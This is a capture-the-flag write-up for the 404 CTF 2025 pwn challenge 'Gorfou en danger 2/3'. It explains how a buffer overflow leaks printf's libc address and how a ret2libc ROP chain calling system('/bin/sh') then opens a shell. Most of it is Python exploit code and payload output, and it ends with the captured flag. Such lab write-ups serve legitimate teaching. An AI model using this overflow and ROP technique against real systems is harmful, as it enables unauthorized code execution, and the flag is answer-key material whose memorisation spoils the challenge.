Gorfou en danger 2/3 | 404 CTF 2025
Gorfou en danger 2/3
Ressources
Cody a atteint le point de rendez-vous avec notre station orbitale Penrose, mais il est incapable de s’amarrer sans les clés d’accès, malheureusement détruites sur Mars. Votre mission consiste encore à obtenir un accès grâce à une console plus récente située sur la station.
Host : challenges.404ctf.fr Port : 32464
gorfou-en-danger-2
├── chall
├── ld-linux-x86-64.so.2
├── libc.so.6
├── main.c
Analyse
First I execute the programm to see what it want me to input.
1
2
3
4
5
6
7
8
9
10
11
12
13
__
/\ \
/ \ \ >>========================================================<<
/ /\ \ \ ||░█▀▄░█▀▀░█▀▀░█▀▀░░░█▀▀░█▀█░█▀█░█▀▀░█▀█░█░░░█▀▀░░░█░█░▀▀▄||
/ / /\ \ \ ||░█░█░█░█░▀▀█░█░█░░░█░░░█░█░█░█░▀▀█░█░█░█░░░█▀▀░░░▀▄▀░▄▀░||
/ / /__\_\ \ ||░▀▀░░▀▀▀░▀▀▀░▀▀▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀▀▀░▀▀▀░▀▀▀░░░░▀░░▀▀▀||
/ / /________\ >>========================================================<<
\/___________/
Terminal de contrôle à distance de la station orbilate Penrose
> help
Commande inconnue
> test
Commande inconnue
The program is the same as the previous one but a second version, lets see if we can find something interesting in the main.c
file.
debug_info()
1
2
3
4
5
6
7
8
void debug_info(void) {
// our very own "info proc map"
printf("main address : %p\n", &main);
printf("printf address : %p\n", *(uint64_t *)0x403008);
void* local_var = NULL;
printf("Stack address : %p\n", &local_var);
return;
}
Only debug_info() changed, we lost our win function but we have something interesting that is linked to the libc we have.
this function print the address of printf.
To see the addresses, we can use our previous exploit to access debug_info().
1
2
3
4
5
6
7
8
9
# python3 debug.py
main address : 0x400584
printf address : 0x7fb6cecbab40
Stack address : 0x7ffc5fff6200
# python3 debug.py
main address : 0x400584
printf address : 0x7f835a427b40
Stack address : 0x7ffc671469e0
We can see that the ASLR is enabled, so it is necessary to leak addresses.
Goal
The goal is to get a shell to cat the flag.txt file. to do that, it is in 2 steps :
Get the address of
printf
to calculate the address ofsystem
and and other useful things.Use the address of
system
to get a shell.
Exploit
To get the address of our libc, we can use the address of printf
and the offset of printf
in the libc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def get_libc_leak(r, OFFSET_RIP, DEBUG_INFO, MAIN):
"""
Get the libc leak from the debug_info function.
"""
payload = b"A" * OFFSET_RIP
payload += p64(DEBUG_INFO)
payload += p64(MAIN)
print(f"\n----------------------")
print(f" Payload to leak libc ")
print(f"----------------------\n")
print(payload.hex())
r.recvuntil(b"> ")
r.sendline(payload)
output = r.recv()
for value in output.split(b"\n"):
if b"printf" in value:
printf_leak = int(value.split(b" ")[-1], 16)
print(f"\nprintf() : {hex(printf_leak)}")
return printf_leak
def main():
OFFSET_RIP = 264
DEBUG_INFO = 0x00000000004004ed
MAIN = 0x0000000000400584
r = conn()
printf_leak = get_libc_leak(r, OFFSET_RIP, DEBUG_INFO, MAIN)
First we need to get the address of debug_info() and main() to build our payload.
With that we do our first buffer overflow to leak the address of printf
by entering in debug_info(). To input out real exploit, we need to get a second input so wee need to return to main to get in take_command() a second time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def get_libc_addr(printf_leak) -> dict:
"""
Get useful libc addresses.
"""
libc_addresses = {}
libc_addresses['printf'] = printf_leak
libc.address = libc_addresses["printf"] - libc.symbols['printf']
rop = ROP(libc)
libc_addresses["system"] = libc.sym['system']
libc_addresses["bin_sh"] = next(libc.search(b'/bin/sh\x00'))
libc_addresses["pop_rdi"] = rop.find_gadget(['pop rdi', 'ret'])[0]
libc_addresses["ret"] = rop.find_gadget(['ret'])[0]
print(f"\n----------------------")
print(f" Libc Addresses ")
print(f"----------------------\n")
print(f"system() : {hex(libc_addresses['system'])}")
print(f"/bin/sh : {hex(libc_addresses['bin_sh'])}")
print(f"pop rdi : {hex(libc_addresses['pop_rdi'])}")
print(f"ret : {hex(libc_addresses['ret'])}")
return libc_addresses
def main():
...
libc_addresses = get_libc_addr(printf_leak)
...
We calculate all interesting addresses with the libc file and the address of printf
we leaked to build our Libc Ropchain.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def create_payload(libc_addresses: dict, OFFSET_RIP: int):
"""
Function to create the payload to send.
"""
payload = b"A" * OFFSET_RIP
payload += p64(libc_addresses['ret'])
payload += p64(libc_addresses['pop_rdi'])
payload += p64(libc_addresses['bin_sh'])
payload += p64(libc_addresses['system'])
print(f"\n----------------------")
print(f" Final Payload ")
print(f"----------------------\n")
print(payload.hex())
return payload
def exploit(r, payload):
"""
exploit function to send payload
"""
r.recvuntil(b"> ")
r.sendline(payload)
r.interactive()
def main():
...
payload = create_payload(libc_addresses, OFFSET_RIP)
exploit(r, payload)
...
Then we create our payload to get a shell and send it to the server.
here is my full exploit : solver.py
Getting flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# python3 solve.py FLAG
----------------------
Payload to leak libc
----------------------
414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141ed044000000000008405400000000000
printf() : 0x7fd9dabd7b40
----------------------
Libc Addresses
----------------------
system() : 0x7fd9dabd0db0
/bin/sh : 0x7fd9dad53ece
pop rdi : 0x7fd9dac7e3a5
ret : 0x7fd9daba3ad3
----------------------
Final Payload
----------------------
414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141d33abadad97f0000a5e3c7dad97f0000ce3ed5dad97f0000b00dbddad97f0000
----------------------
Flag
----------------------
404CTF{FELiC174TI0nS_!_cE_N_E$T_QUe_Le_DebUT_C0NTiNU32_À_4pPREnDR3_l3_pWn}